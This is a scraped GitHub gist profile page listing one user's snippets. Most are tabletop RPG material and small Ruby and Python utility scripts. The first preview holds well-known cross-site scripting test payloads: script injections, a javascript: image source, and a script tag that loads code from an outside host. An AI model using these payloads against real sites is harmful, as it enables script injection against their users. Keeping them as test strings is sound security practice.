Skip to content

Instantly share code, notes, and snippets.

View funkaoshi's full-sized avatar
🏠
Working from home

Ramanan Sivaranjan funkaoshi

🏠
Working from home
View GitHub Profile
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<opml version="2.0">
<body>
<outline text="Subscriptions" title="Subscriptions">
<outline xmlUrl='https://1d30.wordpress.com/feed/' />
<outline xmlUrl='https://3toadstools.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://9and30kingdoms.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://abominablefancy.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://aeonsnaugauries.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://alexschroeder.ch/wiki/feed/full/RPG' />
<outline xmlUrl='https://antiledo.blogspot.com/feeds/posts/default?alt=rss' />
@funkaoshi
funkaoshi / gist:5291901
Created April 2, 2013 12:40
The Nymph's Shadow Realm by Harald Wagener for the Hexenbracken project.

The Nymph's Shadow Realm

[Hex 0125][1]

Truth be told, the Shadow Realm is as much the Nymph's as the sunlight is the humans or the mountains are the Dwarves' -- they appropriated as they encountered it at the core of the millenial oaks that are their immortal ancestors.

The Shadow Realm is more dangerous than you may think when you see a Druid open it during their moon-bare nightly ritual. It is as if the shadow of the oaken mother ripples, like a pond after a dryad kissing you returns to her watery home.

A druid can learn the ritual to call forward an opening to the shadow realms, but at a price. Usually it is a day and a year in service to the nymphs, an ordeal that ages humans by decades (1d10x5 years); elves can only learn it by offering one of their offspring into eternal bondage; very few are willing to pay the price. No-one ever heard of dwarves or halflings being privy to the secret ritual, which can be observed as follows:

@funkaoshi
funkaoshi / hackenbrack.md
Last active December 15, 2015 15:09
The Hackenbrack by Zak Smith and Friends.

The Hexenbrack

0101

Well. 3 crocodiles.

0102

Mulk human settlement. excellent glassblowers.

@funkaoshi
funkaoshi / md2html.rb
Created March 28, 2013 22:32
A simple script that takes a template, markdown file, and an optional foreword and spits out an HTML file.
#!/usr/bin/env ruby
require 'liquid'
require 'redcarpet'
if ARGV.length < 2
puts "Usage: md2html <template> <markdown_doc> [markdown_foreword]"
exit
end
@funkaoshi
funkaoshi / gist:4965672
Last active December 13, 2015 19:49
I was curious what the distribution was when you ask a player to try and roll under a D&D attribute, in general.
import collections
import random
def d(die): return random.randint(1, die)
def xdy(x,y): return sum(d(y) for _ in xrange(x))
# How many times we will peform our simulation
TEST_RUN = 1000000
# Roll up an attribute score 3d6 and proceed to try and roll under it, storing
@funkaoshi
funkaoshi / gist:4827204
Created February 13, 2013 01:37
Merge versions in two puppet files.
import sys
import re
from pkg_resources import parse_version
updates = sys.stdin.read()
records = updates.split(';')
packages = {}
for record in records:
fields = [r.strip() for r in record.split('\n') if r.strip()]
if not fields:
@funkaoshi
funkaoshi / gist:4120563
Created November 20, 2012 19:48
d(100) Random D&D Character Classes and their Attributes.
d(100) Class STR INT DEX WIS CON CHA
----------------------------------------------------------------------
1 Fighter 14 9 10 10 10 7
2 Magic-User 9 11 5 9 10 12
3 Thief 10 11 10 13 17 12
4 Cleric 4 11 12 8 6 12
5 Elf 11 16 10 9 4 7
6 Cleric 12 6 14 10 9 15
7 Thief 10 11 10 13 11 13
8 Dwarf 17 10 14 13 12 3
@funkaoshi
funkaoshi / gist:4102490
Created November 18, 2012 01:26
4d6 drop the lowest
import random
[sum(sorted((random.randint(1,6) for _ in range(4)), reverse=True)[:3]) for _ in range(6)]
@funkaoshi
funkaoshi / gist:3668265
Created September 7, 2012 18:10
Python Poll
If I am making a new class that inherits from an old library that
doesn't have object as its base class (doesn't use the new-style
classes), is it recommended that I add object as an additional
parent like this:
Class MyNewClass(OldStyleClass, object):
and then use super, or stick to the old style and call the init
like: